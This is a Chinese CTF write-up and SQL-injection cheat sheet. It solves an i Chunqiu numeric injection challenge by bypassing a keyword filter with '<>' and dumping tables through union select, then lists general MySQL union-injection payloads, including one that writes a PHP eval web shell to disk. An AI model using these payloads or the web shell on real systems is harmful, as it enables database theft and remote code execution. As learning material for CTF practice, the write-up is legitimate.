通路題目網址
- 得到提示:
,且網址為flag{在資料庫中}
,符合sql注入形式。xxx.ichunqiu.com/index.php?id=1
- 按照慣例檢視源代碼,提示
,為數字型注入SELECT * FROM info WHERE id=1
尋找漏洞
-
:提示?id = 1 and 1 = 1
,多次測試,發現過濾了inj code!
、and
、or
、select
,order
- 查詢大佬wp得知此處繞過的方法為在敏感詞中間加入
,然後就可以進行正常手工注入了。<>
擷取flag
-
:回顯正常,表明查詢三個字段?id = 1 ord<> by 3
-
: 出現回顯2,表明漏洞出現在第2的字段上?id = 1 union sel<>ect 1, 2, 3
- 擷取資料庫名
:回顯資料庫名為sqli?id=1 union sel<>ect 1, database(), 3
- 擷取表名
:回顯表名:info、users?id=1 union sel<>ect 1, table_name, 3 from information_schema.tables where table_schema=database()
- 擷取字段
:回顯字段:id、title、flAg_T5ZNdrm?id=1 union sel<>ect 1, column_name, 3 from information_schema.columns where table_name='info'
- 擷取flag
即可獲得flag。?id=1 union sel<>ect 1, flAg_T5ZNdrm, 3 from info
mysql union select注入回顧
- union語句一定要保證前後查詢字段相同,是以一般先通過order by爆破字段個數。(如4個字段)
order by 4
- 爆破字段位置,檢視出現漏洞的位置在哪
union select 1,2,3,4
- 利用内置函數爆破資料庫資訊:version() database() user() @@global.version_compile_os
union select version(),database(),user(), @@global.version_compile_os
-
暴庫:mysql>5.0有内置庫information_schema,存儲着mysql所有的内置庫和表結構資訊。
查詢存在的資料庫:
union select 1,2,3,schema_name from information_schema.schemata
- 暴庫:猜表
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()
- 暴庫:猜字段
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='表名'
- 暴庫:猜内容
union select 1,2,3,字段名 from 表名 limit 0,1
-
直接寫馬
條件1:知道站點實體路徑
條件2:有足夠大的權限
條件3:magic_quotes_gpc()=OFF
select '<?php eval($_POST[cmd]);?>' into file 'D:\\out.php'
================================================================================
小白成長記,大佬請指點。